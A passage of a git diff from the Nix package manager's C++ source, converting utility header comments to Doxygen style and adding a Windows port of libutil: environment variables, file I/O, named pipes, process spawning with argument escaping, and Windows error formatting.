'width' printable characters. If 'filterAll' - is true, all ANSI escape sequences are filtered out. Otherwise, - some escape sequences (such as colour setting) are copied but not - included in the character count. Also, tabs are expanded to - spaces. */ -std::string filterANSIEscapes(const std::string & s, - bool filterAll = false, - unsigned int width = std::numeric_limits::max()); - - -/* Base64 encoding/decoding. */ +/** + * Base64 encoding/decoding. + */ std::string base64Encode(std::string_view s); std::string base64Decode(std::string_view s); -/* Remove common leading whitespace from the lines in the string - 's'. For example, if every line is indented by at least 3 spaces, - then we remove 3 spaces from the start of every line. */ +/** + * Remove common leading whitespace from the lines in the string + * 's'. For example, if every line is indented by at least 3 spaces, + * then we remove 3 spaces from the start of every line. + */ std::string stripIndentation(std::string_view s); -/* Get the prefix of 's' up to and excluding the next line break (LF - optionally preceded by CR), and the remainder following the line - break. */ +/** + * Get the prefix of 's' up to and excluding the next line break (LF + * optionally preceded by CR), and the remainder following the line + * break. + */ std::pair getLine(std::string_view s); -/* Get a value for the specified key from an associate container. */ +/** + * Get a value for the specified key from an associate container. + */ template const typename T::mapped_type * get(const T & map, const typename T::key_type & key) { @@ -605,7 +213,9 @@ typename T::mapped_type * get(T & map, const typename T::key_type & key) return &i->second; } -/* Get a value for the specified key from an associate container, or a default value if the key isn't present. */ +/** + * Get a value for the specified key from an associate container, or a default value if the key isn't present. + */ template const typename T::mapped_type & getOr(T & map, const typename T::key_type & key, @@ -616,7 +226,9 @@ const typename T::mapped_type & getOr(T & map, return i->second; } -/* Remove and return the first item from a container. */ +/** + * Remove and return the first item from a container. + */ template std::optional remove_begin(T & c) { @@ -628,7 +240,9 @@ std::optional remove_begin(T & c) } -/* Remove and return the first item from a container. */ +/** + * Remove and return the first item from a container. + */ template std::optional pop(T & c) { @@ -643,40 +257,10 @@ template class Callback; -/* Start a thread that handles various signals. Also block those signals - on the current thread (and thus any threads created by it). */ -void startSignalHandlerThread(); - -struct InterruptCallback -{ - virtual ~InterruptCallback() { }; -}; - -/* Register a function that gets called on SIGINT (in a non-signal - context). */ -std::unique_ptr createInterruptCallback( - std::function callback); - -void triggerInterrupt(); - -/* A RAII class that causes the current thread to receive SIGUSR1 when - the signal handler thread receives SIGINT. That is, this allows - SIGINT to be multiplexed to multiple threads. */ -struct ReceiveInterrupts -{ - pthread_t target; - std::unique_ptr callback; - - ReceiveInterrupts() - : target(pthread_self()) - , callback(createInterruptCallback([&]() { pthread_kill(target, SIGUSR1); })) - { } -}; - - - -/* A RAII helper that increments a counter on construction and - decrements it on destruction. */ +/** + * A RAII helper that increments a counter on construction and + * decrements it on destruction. + */ template struct MaintainCount { @@ -687,33 +271,11 @@ struct MaintainCount }; -/* Return the number of rows and columns of the terminal. */ -std::pair getWindowSize(); - - -/* Used in various places. */ -typedef std::function PathFilter; - -extern PathFilter defaultPathFilter; - -/* Common initialisation performed in child processes. */ -void commonChildInit(Pipe & logPipe); - -/* Create a Unix domain socket. */ -AutoCloseFD createUnixDomainSocket(); - -/* Create a Unix domain socket in listen mode. */ -AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode); - -/* Bind a Unix domain socket to a path. */ -void bind(int fd, const std::string & path); - -/* Connect to a Unix domain socket. */ -void connect(int fd, const std::string & path); - - -// A Rust/Python-like enumerate() iterator adapter. -// Borrowed from http://reedbeta.com/blog/python-like-enumerate-in-cpp17. +/** + * A Rust/Python-like enumerate() iterator adapter. + * + * Borrowed from http://reedbeta.com/blog/python-like-enumerate-in-cpp17. + */ template ())), typename = decltype(std::end(std::declval()))> @@ -723,23 +285,25 @@ constexpr auto enumerate(T && iterable) { size_t i; TIter iter; - bool operator != (const iterator & other) const { return iter != other.iter; } - void operator ++ () { ++i; ++iter; } - auto operator * () const { return std::tie(i, *iter); } + constexpr bool operator != (const iterator & other) const { return iter != other.iter; } + constexpr void operator ++ () { ++i; ++iter; } + constexpr auto operator * () const { return std::tie(i, *iter); } }; struct iterable_wrapper { T iterable; - auto begin() { return iterator{ 0, std::begin(iterable) }; } - auto end() { return iterator{ 0, std::end(iterable) }; } + constexpr auto begin() { return iterator{ 0, std::begin(iterable) }; } + constexpr auto end() { return iterator{ 0, std::end(iterable) }; } }; return iterable_wrapper{ std::forward(iterable) }; } -// C++17 std::visit boilerplate +/** + * C++17 std::visit boilerplate + */ template struct overloaded : Ts... { using Ts::operator()...; }; template overloaded(Ts...) -> overloaded; @@ -747,8 +311,10 @@ template overloaded(Ts...) -> overloaded; std::string showBytes(uint64_t bytes); -/* Provide an addition operator between strings and string_views - inexplicably omitted from the standard library. */ +/** + * Provide an addition operator between strings and string_views + * inexplicably omitted from the standard library. + */ inline std::string operator + (const std::string & s1, std::string_view s2) { auto s = s1; diff --git a/src/libutil/variant-wrapper.hh b/src/libutil/variant-wrapper.hh new file mode 100644 index 000000000..cedcb999c --- /dev/null +++ b/src/libutil/variant-wrapper.hh @@ -0,0 +1,30 @@ +#pragma once +///@file + +// not used, but will be used by callers +#include + +/** + * Force the default versions of all constructors (copy, move, copy + * assignment). + */ +#define FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ + CLASS_NAME(const CLASS_NAME &) = default; \ + CLASS_NAME(CLASS_NAME &) = default; \ + CLASS_NAME(CLASS_NAME &&) = default; \ + \ + CLASS_NAME & operator =(const CLASS_NAME &) = default; \ + CLASS_NAME & operator =(CLASS_NAME &) = default; + +/** + * Make a wrapper constructor. All args are forwarded to the + * construction of the "raw" field. (Which we assume is the only one.) + * + * The moral equivalent of `using Raw::Raw;` + */ +#define MAKE_WRAPPER_CONSTRUCTOR(CLASS_NAME) \ + FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ + \ + CLASS_NAME(auto &&... arg) \ + : raw(std::forward(arg)...) \ + { } diff --git a/src/libutil/windows/environment-variables.cc b/src/libutil/windows/environment-variables.cc new file mode 100644 index 000000000..525d08c64 --- /dev/null +++ b/src/libutil/windows/environment-variables.cc @@ -0,0 +1,45 @@ +#include "environment-variables.hh" + +#include "processenv.h" + +namespace nix { + +std::optional getEnvOs(const OsString & key) +{ + // Determine the required buffer size for the environment variable value + DWORD bufferSize = GetEnvironmentVariableW(key.c_str(), nullptr, 0); + if (bufferSize == 0) { + return std::nullopt; + } + + // Allocate a buffer to hold the environment variable value + std::wstring value{L'\0', bufferSize}; + + // Retrieve the environment variable value + DWORD resultSize = GetEnvironmentVariableW(key.c_str(), &value[0], bufferSize); + if (resultSize == 0) { + return std::nullopt; + } + + // Resize the string to remove the extra null characters + value.resize(resultSize); + + return value; +} + +int unsetenv(const char * name) +{ + return -SetEnvironmentVariableA(name, nullptr); +} + +int setEnv(const char * name, const char * value) +{ + return -SetEnvironmentVariableA(name, value); +} + +int setEnvOs(const OsString & name, const OsString & value) +{ + return -SetEnvironmentVariableW(name.c_str(), value.c_str()); +} + +} diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc new file mode 100644 index 000000000..16773e3ea --- /dev/null +++ b/src/libutil/windows/file-descriptor.cc @@ -0,0 +1,150 @@ +#include "file-system.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" +#include "windows-error.hh" +#include "file-path.hh" + +#include +#include +#include +#include +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +using namespace nix::windows; + +std::string readFile(HANDLE handle) +{ + LARGE_INTEGER li; + if (!GetFileSizeEx(handle, &li)) + throw WinError("%s:%d statting file", __FILE__, __LINE__); + + return drainFD(handle, true, li.QuadPart); +} + + +void readFull(HANDLE handle, char * buf, size_t count) +{ + while (count) { + checkInterrupt(); + DWORD res; + if (!ReadFile(handle, (char *) buf, count, &res, NULL)) + throw WinError("%s:%d reading from file", __FILE__, __LINE__); + if (res == 0) throw EndOfFile("unexpected end-of-file"); + count -= res; + buf += res; + } +} + + +void writeFull(HANDLE handle, std::string_view s, bool allowInterrupts) +{ + while (!s.empty()) { + if (allowInterrupts) checkInterrupt(); + DWORD res; +#if _WIN32_WINNT >= 0x0600 + auto path = handleToPath(handle); // debug; do it before becuase handleToPath changes lasterror + if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { + throw WinError("writing to file %1%:%2%", handle, path); + } +#else + if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { + throw WinError("writing to file %1%", handle); + } +#endif + if (res > 0) + s.remove_prefix(res); + } +} + + +std::string readLine(HANDLE handle) +{ + std::string s; + while (1) { + checkInterrupt(); + char ch; + // FIXME: inefficient + DWORD rd; + if (!ReadFile(handle, &ch, 1, &rd, NULL)) { + throw WinError("reading a line"); + } else if (rd == 0) + throw EndOfFile("unexpected EOF reading a line"); + else { + if (ch == '\n') return s; + s += ch; + } + } +} + + +void drainFD(HANDLE handle, Sink & sink/*, bool block*/) +{ + std::vector buf(64 * 1024); + while (1) { + checkInterrupt(); + DWORD rd; + if (!ReadFile(handle, buf.data(), buf.size(), &rd, NULL)) { + WinError winError("%s:%d reading from handle %p", __FILE__, __LINE__, handle); + if (winError.lastError == ERROR_BROKEN_PIPE) + break; + throw winError; + } + else if (rd == 0) break; + sink({(char *) buf.data(), (size_t) rd}); + } +} + + +////////////////////////////////////////////////////////////////////// + + +void Pipe::create() +{ + SECURITY_ATTRIBUTES saAttr = {0}; + saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + saAttr.lpSecurityDescriptor = NULL; + saAttr.bInheritHandle = TRUE; + + HANDLE hReadPipe, hWritePipe; + if (!CreatePipe(&hReadPipe, &hWritePipe, &saAttr, 0)) + throw WinError("CreatePipe"); + + readSide = hReadPipe; + writeSide = hWritePipe; +} + + +////////////////////////////////////////////////////////////////////// + +#if _WIN32_WINNT >= 0x0600 + +std::wstring windows::handleToFileName(HANDLE handle) { + std::vector buf(0x100); + DWORD dw = GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED); + if (dw == 0) { + if (handle == GetStdHandle(STD_INPUT_HANDLE )) return L""; + if (handle == GetStdHandle(STD_OUTPUT_HANDLE)) return L""; + if (handle == GetStdHandle(STD_ERROR_HANDLE )) return L""; + return (boost::wformat(L"") % handle).str(); + } + if (dw > buf.size()) { + buf.resize(dw); + if (GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED) != dw-1) + throw WinError("GetFinalPathNameByHandleW"); + dw -= 1; + } + return std::wstring(buf.data(), dw); +} + + +Path windows::handleToPath(HANDLE handle) { + return os_string_to_string(handleToFileName(handle)); +} + +#endif + +} diff --git a/src/libutil/windows/file-path.cc b/src/libutil/windows/file-path.cc new file mode 100644 index 000000000..7405c426b --- /dev/null +++ b/src/libutil/windows/file-path.cc @@ -0,0 +1,40 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "file-path-impl.hh" +#include "util.hh" + +namespace nix { + +std::optional maybePath(PathView path) +{ + if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) && path[1] == ':' && WindowsPathTrait::isPathSep(path[2])) { + std::filesystem::path::string_type sw = string_to_os_string( + std::string { "\\\\?\\" } + path); + std::replace(sw.begin(), sw.end(), '/', '\\'); + return sw; + } + if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') && path[3] == '\\' && + ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' && WindowsPathTrait::isPathSep(path[6])) { + std::filesystem::path::string_type sw = string_to_os_string(path); + std::replace(sw.begin(), sw.end(), '/', '\\'); + return sw; + } + return std::optional(); +} + +std::filesystem::path pathNG(PathView path) +{ + std::optional sw = maybePath(path); + if (!sw) { + // FIXME why are we not using the regular error handling? + std::cerr << "invalid path for WinAPI call ["< +#include "windows-error.hh" + +#include "logging.hh" +#include "util.hh" +#include "muxable-pipe.hh" + +namespace nix { + +void MuxablePipePollState::poll(HANDLE ioport, std::optional timeout) +{ + /* We are on at least Windows Vista / Server 2008 and can get many + (countof(oentries)) statuses in one API call. */ + if (!GetQueuedCompletionStatusEx( + ioport, oentries, sizeof(oentries) / sizeof(*oentries), &removed, timeout ? *timeout : INFINITE, false)) { + windows::WinError winError("GetQueuedCompletionStatusEx"); + if (winError.lastError != WAIT_TIMEOUT) + throw winError; + assert(removed == 0); + } else { + assert(0 < removed && removed <= sizeof(oentries) / sizeof(*oentries)); + } +} + +void MuxablePipePollState::iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF) +{ + auto p = channels.begin(); + while (p != channels.end()) { + decltype(p) nextp = p; + ++nextp; + for (ULONG i = 0; i < removed; i++) { + if (oentries[i].lpCompletionKey == ((ULONG_PTR) ((*p)->readSide.get()) ^ 0x5555)) { + printMsg(lvlVomit, "read %s bytes", oentries[i].dwNumberOfBytesTransferred); + if (oentries[i].dwNumberOfBytesTransferred > 0) { + std::string data{ + (char *) (*p)->buffer.data(), + oentries[i].dwNumberOfBytesTransferred, + }; + handleRead((*p)->readSide.get(), data); + } + + if (gotEOF) { + handleEOF((*p)->readSide.get()); + nextp = channels.erase(p); // no need to maintain `channels`? + } else { + BOOL rc = ReadFile( + (*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped); + if (rc) { + // here is possible (but not obligatory) to call + // `handleRead` and repeat ReadFile immediately + } else { + windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get()); + if (winError.lastError == ERROR_BROKEN_PIPE) { + handleEOF((*p)->readSide.get()); + nextp = channels.erase(p); // no need to maintain `channels` ? + } else if (winError.lastError != ERROR_IO_PENDING) + throw winError; + } + } + break; + } + } + p = nextp; + } +} + +} diff --git a/src/libutil/windows/os-string.cc b/src/libutil/windows/os-string.cc new file mode 100644 index 000000000..7507f9030 --- /dev/null +++ b/src/libutil/windows/os-string.cc @@ -0,0 +1,24 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "file-path-impl.hh" +#include "util.hh" + +namespace nix { + +std::string os_string_to_string(PathViewNG::string_view path) +{ + std::wstring_convert> converter; + return converter.to_bytes(std::filesystem::path::string_type{path}); +} + +std::filesystem::path::string_type string_to_os_string(std::string_view s) +{ + std::wstring_convert> converter; + return converter.from_bytes(std::string{s}); +} + +} diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc new file mode 100644 index 000000000..9cd714f84 --- /dev/null +++ b/src/libutil/windows/processes.cc @@ -0,0 +1,380 @@ +#include "current-process.hh" +#include "environment-variables.hh" +#include "error.hh" +#include "file-descriptor.hh" +#include "file-path.hh" +#include "signals.hh" +#include "processes.hh" +#include "finally.hh" +#include "serialise.hh" +#include "file-system.hh" +#include "util.hh" +#include "windows-error.hh" + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +using namespace nix::windows; + +Pid::Pid() {} + +Pid::Pid(AutoCloseFD pid) + : pid(std::move(pid)) +{ +} + +Pid::~Pid() +{ + if (pid.get() != INVALID_DESCRIPTOR) + kill(); +} + +void Pid::operator=(AutoCloseFD pid) +{ + if (this->pid.get() != INVALID_DESCRIPTOR && this->pid.get() != pid.get()) + kill(); + this->pid = std::move(pid); +} + +// TODO: Implement (not needed for process spawning yet) +int Pid::kill() +{ + assert(pid.get() != INVALID_DESCRIPTOR); + + debug("killing process %1%", pid.get()); + + throw UnimplementedError("Pid::kill unimplemented"); +} + +int Pid::wait() +{ + // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L1938 + assert(pid.get() != INVALID_DESCRIPTOR); + DWORD status = WaitForSingleObject(pid.get(), INFINITE); + if (status != WAIT_OBJECT_0) { + debug("WaitForSingleObject returned %1%", status); + } + + DWORD exitCode = 0; + if (GetExitCodeProcess(pid.get(), &exitCode) == FALSE) { + debug("GetExitCodeProcess failed on pid %1%", pid.get()); + } + + pid.close(); + return exitCode; +} + +// TODO: Merge this with Unix's runProgram since it's identical logic. +std::string runProgram( + Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) +{ + auto res = runProgram(RunOptions{ + .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); + + if (!statusOk(res.first)) + throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); + + return res.second; +} + +std::optional getProgramInterpreter(const Path & program) +{ + // These extensions are automatically handled by Windows and don't require an interpreter. + static constexpr const char * exts[] = {".exe", ".cmd", ".bat"}; + for (const auto ext : exts) { + if (hasSuffix(program, ext)) { + return {}; + } + } + // TODO: Open file and read the shebang + throw UnimplementedError("getProgramInterpreter unimplemented"); +} + +// TODO: Not sure if this is needed in the unix version but it might be useful as a member func +void setFDInheritable(AutoCloseFD & fd, bool inherit) +{ + if (fd.get() != INVALID_DESCRIPTOR) { + if (!SetHandleInformation(fd.get(), HANDLE_FLAG_INHERIT, inherit ? HANDLE_FLAG_INHERIT : 0)) { + throw WinError("Couldn't disable inheriting of handle"); + } + } +} + +AutoCloseFD nullFD() +{ + // Create null handle to discard reads / writes + // https://stackoverflow.com/a/25609668 + // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L2228 + AutoCloseFD nul = CreateFileW( + L"NUL", + GENERIC_READ | GENERIC_WRITE, + // We don't care who reads / writes / deletes this file since it's NUL anyways + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + 0, + NULL); + if (!nul.get()) { + throw WinError("Couldn't open NUL device"); + } + // Let this handle be inheritable by child processes + setFDInheritable(nul, true); + return nul; +} + +// Adapted from +// https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/ +std::string windowsEscape(const std::string & str, bool cmd) +{ + // TODO: This doesn't handle cmd.exe escaping. + if (cmd) { + throw UnimplementedError("cmd.exe escaping is not implemented"); + } + + if (str.find_first_of(" \t\n\v\"") == str.npos && !str.empty()) { + // No need to escape this one, the nonempty contents don't have a special character + return str; + } + std::string buffer; + // Add the opening quote + buffer += '"'; + for (auto iter = str.begin();; ++iter) { + size_t backslashes = 0; + while (iter != str.end() && *iter == '\\') { + ++iter; + ++backslashes; + } + + // We only escape backslashes if: + // - They come immediately before the closing quote + // - They come immediately before a quote in the middle of the string + // Both of these cases break the escaping if not handled. Otherwise backslashes are fine as-is + if (iter == str.end()) { + // Need to escape each backslash + buffer.append(backslashes * 2, '\\'); + // Exit since we've reached the end of the string + break; + } else if (*iter == '"') { + // Need to escape each backslash and the intermediate quote character + buffer.append(backslashes * 2, '\\'); + buffer += "\\\""; + } else { + // Don't escape the backslashes since they won't break the delimiter + buffer.append(backslashes, '\\'); + buffer += *iter; + } + } + // Add the closing quote + return buffer + '"'; +} + +Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & out, Pipe & in) +{ + // Setup pipes. + if (options.standardOut) { + // Don't inherit the read end of the output pipe + setFDInheritable(out.readSide, false); + } else { + out.writeSide = nullFD(); + } + if (options.standardIn) { + // Don't inherit the write end of the input pipe + setFDInheritable(in.writeSide, false); + } else { + in.readSide = nullFD(); + } + + STARTUPINFOW startInfo = {0}; + startInfo.cb = sizeof(startInfo); + startInfo.dwFlags = STARTF_USESTDHANDLES; + startInfo.hStdInput = in.readSide.get(); + startInfo.hStdOutput = out.writeSide.get(); + startInfo.hStdError = out.writeSide.get(); + + std::string envline; + // Retain the current processes' environment variables. + for (const auto & envVar : getEnv()) { + envline += (envVar.first + '=' + envVar.second + '\0'); + } + // Also add new ones specified in options. + if (options.environment) { + for (const auto & envVar : *options.environment) { + envline += (envVar.first + '=' + envVar.second + '\0'); + } + } + + std::string cmdline = windowsEscape(realProgram, false); + for (const auto & arg : options.args) { + // TODO: This isn't the right way to escape windows command + // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw + cmdline += ' ' + windowsEscape(arg, false); + } + + PROCESS_INFORMATION procInfo = {0}; + if (CreateProcessW( + // EXE path is provided in the cmdline + NULL, + string_to_os_string(cmdline).data(), + NULL, + NULL, + TRUE, + CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, + string_to_os_string(envline).data(), + options.chdir.has_value() ? string_to_os_string(*options.chdir).data() : NULL, + &startInfo, + &procInfo) + == 0) { + throw WinError("CreateProcessW failed (%1%)", cmdline); + } + + // Convert these to use RAII + AutoCloseFD process = procInfo.hProcess; + AutoCloseFD thread = procInfo.hThread; + + // Add current process and child to job object so child terminates when parent terminates + // TODO: This spawns one job per child process. We can probably keep this as a global, and + // add children a single job so we don't use so many jobs at once. + Descriptor job = CreateJobObjectW(NULL, NULL); + if (job == NULL) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't create job object for child process"); + } + if (AssignProcessToJobObject(job, procInfo.hProcess) == FALSE) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't assign child process to job object"); + } + if (ResumeThread(procInfo.hThread) == (DWORD) -1) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't resume child process thread"); + } + + return process; +} + +// TODO: Merge this with Unix's runProgram since it's identical logic. +// Output = error code + "standard out" output stream +std::pair runProgram(RunOptions && options) +{ + StringSink sink; + options.standardOut = &sink; + + int status = 0; + + try { + runProgram2(options); + } catch (ExecError & e) { + status = e.status; + } + + return {status, std::move(sink.s)}; +} + +void runProgram2(const RunOptions & options) +{ + checkInterrupt(); + + assert(!(options.standardIn && options.input)); + + std::unique_ptr source_; + Source * source = options.standardIn; + + if (options.input) { + source_ = std::make_unique(*options.input); + source = source_.get(); + } + + /* Create a pipe. */ + Pipe out, in; + // TODO: I copied this from unix but this is handled again in spawnProcess, so might be weird to split it up like + // this + if (options.standardOut) + out.create(); + if (source) + in.create(); + + Path realProgram = options.program; + // TODO: Implement shebang / program interpreter lookup on Windows + auto interpreter = getProgramInterpreter(realProgram); + + std::optional>> resumeLoggerDefer; + if (options.isInteractive) { + logger->pause(); + resumeLoggerDefer.emplace([]() { logger->resume(); }); + } + + Pid pid = spawnProcess(interpreter.has_value() ? *interpreter : realProgram, options, out, in); + + // TODO: This is identical to unix, deduplicate? + out.writeSide.close(); + + std::thread writerThread; + + std::promise promise; + + Finally doJoin([&] { + if (writerThread.joinable()) + writerThread.join(); + }); + + if (source) { + in.readSide.close(); + writerThread = std::thread([&] { + try { + std::vector buf(8 * 1024); + while (true) { + size_t n; + try { + n = source->read(buf.data(), buf.size()); + } catch (EndOfFile &) { + break; + } + writeFull(in.writeSide.get(), {buf.data(), n}); + } + promise.set_value(); + } catch (...) { + promise.set_exception(std::current_exception()); + } + in.writeSide.close(); + }); + } + + if (options.standardOut) + drainFD(out.readSide.get(), *options.standardOut); + + /* Wait for the child to finish. */ + int status = pid.wait(); + + /* Wait for the writer thread to finish. */ + if (source) + promise.get_future().get(); + + if (status) + throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status)); +} + +std::string statusToString(int status) +{ + if (status != 0) + return fmt("with exit code %d", status); + else + return "succeeded"; +} + +bool statusOk(int status) +{ + return status == 0; +} +} diff --git a/src/libutil/windows/signals-impl.hh b/src/libutil/windows/signals-impl.hh new file mode 100644 index 000000000..26d2600bf --- /dev/null +++ b/src/libutil/windows/signals-impl.hh @@ -0,0 +1,41 @@ +#pragma once +///@file + +#include "types.hh" + +namespace nix { + +/* User interruption. */ + +static inline void setInterrupted(bool isInterrupted) +{ + /* Do nothing for now */ +} + +static inline bool getInterrupted() +{ + return false; +} + +inline void setInterruptThrown() +{ + /* Do nothing for now */ +} + +void inline checkInterrupt() +{ + /* Do nothing for now */ +} + +/** + * Does nothing, unlike Unix counterpart, but allows avoiding C++ + */ +struct ReceiveInterrupts +{ + /** + * Explicit destructor avoids dead code warnings. + */ + ~ReceiveInterrupts() {} +}; + +} diff --git a/src/libutil/windows/users.cc b/src/libutil/windows/users.cc new file mode 100644 index 000000000..db6c42df3 --- /dev/null +++ b/src/libutil/windows/users.cc @@ -0,0 +1,52 @@ +#include "util.hh" +#include "users.hh" +#include "environment-variables.hh" +#include "file-system.hh" +#include "windows-error.hh" + +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +using namespace nix::windows; + +std::string getUserName() +{ + // Get the required buffer size + DWORD size = 0; + if (!GetUserNameA(nullptr, &size)) { + auto lastError = GetLastError(); + if (lastError != ERROR_INSUFFICIENT_BUFFER) + throw WinError(lastError, "cannot figure out size of user name"); + } + + std::string name; + // Allocate a buffer of sufficient size + // + // - 1 because no need for null byte + name.resize(size - 1); + + // Retrieve the username + if (!GetUserNameA(&name[0], &size)) + throw WinError("cannot figure out user name"); + + return name; +} + +Path getHome() +{ + static Path homeDir = []() + { + Path homeDir = getEnv("USERPROFILE").value_or("C:\\Users\\Default"); + assert(!homeDir.empty()); + return canonPath(homeDir); + }(); + return homeDir; +} + +bool isRootUser() { + return false; +} + +} diff --git a/src/libutil/windows/windows-async-pipe.cc b/src/libutil/windows/windows-async-pipe.cc new file mode 100644 index 000000000..4fa57ca36 --- /dev/null +++ b/src/libutil/windows/windows-async-pipe.cc @@ -0,0 +1,49 @@ +#include "windows-async-pipe.hh" +#include "windows-error.hh" + +namespace nix::windows { + +void AsyncPipe::createAsyncPipe(HANDLE iocp) +{ + // std::cerr << (format("-----AsyncPipe::createAsyncPipe(%x)") % iocp) << std::endl; + + buffer.resize(0x1000); + memset(&overlapped, 0, sizeof(overlapped)); + + std::string pipeName = fmt("\\\\.\\pipe\\nix-%d-%p", GetCurrentProcessId(), (void *) this); + + readSide = CreateNamedPipeA( + pipeName.c_str(), + PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, + PIPE_TYPE_BYTE, + PIPE_UNLIMITED_INSTANCES, + 0, + 0, + INFINITE, + NULL); + if (!readSide) + throw WinError("CreateNamedPipeA(%s)", pipeName); + + HANDLE hIocp = CreateIoCompletionPort(readSide.get(), iocp, (ULONG_PTR) (readSide.get()) ^ 0x5555, 0); + if (hIocp != iocp) + throw WinError("CreateIoCompletionPort(%x[%s], %x, ...) returned %x", readSide.get(), pipeName, iocp, hIocp); + + if (!ConnectNamedPipe(readSide.get(), &overlapped) && GetLastError() != ERROR_IO_PENDING) + throw WinError("ConnectNamedPipe(%s)", pipeName); + + SECURITY_ATTRIBUTES psa2 = {0}; + psa2.nLength = sizeof(SECURITY_ATTRIBUTES); + psa2.bInheritHandle = TRUE; + + writeSide = CreateFileA(pipeName.c_str(), GENERIC_WRITE, 0, &psa2, OPEN_EXISTING, 0, NULL); + if (!readSide) + throw WinError("CreateFileA(%s)", pipeName); +} + +void AsyncPipe::close() +{ + readSide.close(); + writeSide.close(); +} + +} diff --git a/src/libutil/windows/windows-async-pipe.hh b/src/libutil/windows/windows-async-pipe.hh new file mode 100644 index 000000000..8f554e403 --- /dev/null +++ b/src/libutil/windows/windows-async-pipe.hh @@ -0,0 +1,27 @@ +#pragma once +///@file + +#include "file-descriptor.hh" + +namespace nix::windows { + +/*** + * An "async pipe" is a pipe that supports I/O Completion Ports so + * multiple pipes can be listened too. + * + * Unfortunately, only named pipes support that on windows, so we use + * those with randomized temp file names. + */ +class AsyncPipe +{ +public: + AutoCloseFD writeSide, readSide; + OVERLAPPED overlapped; + DWORD got; + std::vector buffer; + + void createAsyncPipe(HANDLE iocp); + void close(); +}; + +} diff --git a/src/libutil/windows/windows-error.cc b/src/libutil/windows/windows-error.cc new file mode 100644 index 000000000..aead4af23 --- /dev/null +++ b/src/libutil/windows/windows-error.cc @@ -0,0 +1,31 @@ +#include "windows-error.hh" + +#include +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix::windows { + +std::string WinError::renderError(DWORD lastError) +{ + LPSTR errorText = NULL; + + FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM // use system message tables to retrieve error text + |FORMAT_MESSAGE_ALLOCATE_BUFFER // allocate buffer on local heap for error text + |FORMAT_MESSAGE_IGNORE_INSERTS, // Important! will fail otherwise, since we're not (and CANNOT) pass insertion parameters + NULL, // unused with FORMAT_MESSAGE_FROM_SYSTEM + lastError, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&errorText, // output + 0, // minimum size for output buffer + NULL); // arguments - see note + + if (NULL != errorText ) { + std::string s2 { errorText }; + LocalFree(errorText); + return s2; + } + return fmt("CODE=%d", lastError); +} + +} diff --git a/src/libutil/windows/windows-error.hh b/src/libutil/windows/windows-error.hh new file mode 100644 index 000000000..624b4c4cb --- /dev/null +++ b/src/libutil/windows/windows-error.hh @@ -0,0 +1,51 @@ +#pragma once +///@file + +#include + +#include "error.hh" + +namespace nix::windows { + +/** + * Windows Error type. + * + * Unless you need to catch a specific error number, don't catch this in + * portable code. Catch `SystemError` instead. + */ +class WinError : public SystemError +{ +public: + DWORD lastError; + + /** + * Construct using the explicitly-provided error number. + * `FormatMessageA` will be used to try to add additional + * information to the message. + */ + template + WinError(DWORD lastError, const Args & ... args) + : SystemError(""), lastError(lastError) + { + auto hf = HintFmt(args...); + err.msg = HintFmt("%1%: %2%", Uncolored(hf.str()), renderError(lastError)); + } + + /** + * Construct using `GetLastError()` and the ambient "last error". + * + * Be sure to not perform another last-error-modifying operation + * before calling this constructor! + */ + template + WinError(const Args & ... args) + : WinError(GetLastError(), args ...) + { + } + +private: + + std::string renderError(DWORD lastError); +}; + +} diff --git a/src/libutil/xml-writer.hh b/src/libutil/xml-writer.hh index 4c91adee6..74f53b7ca 100644 --- a/src/libutil/xml-writer.hh +++ b/src/libutil/xml-writer.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index adcaab686..a5b9e1e54 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -9,12 +9,13 @@ #include +#include "current-process.hh" #include 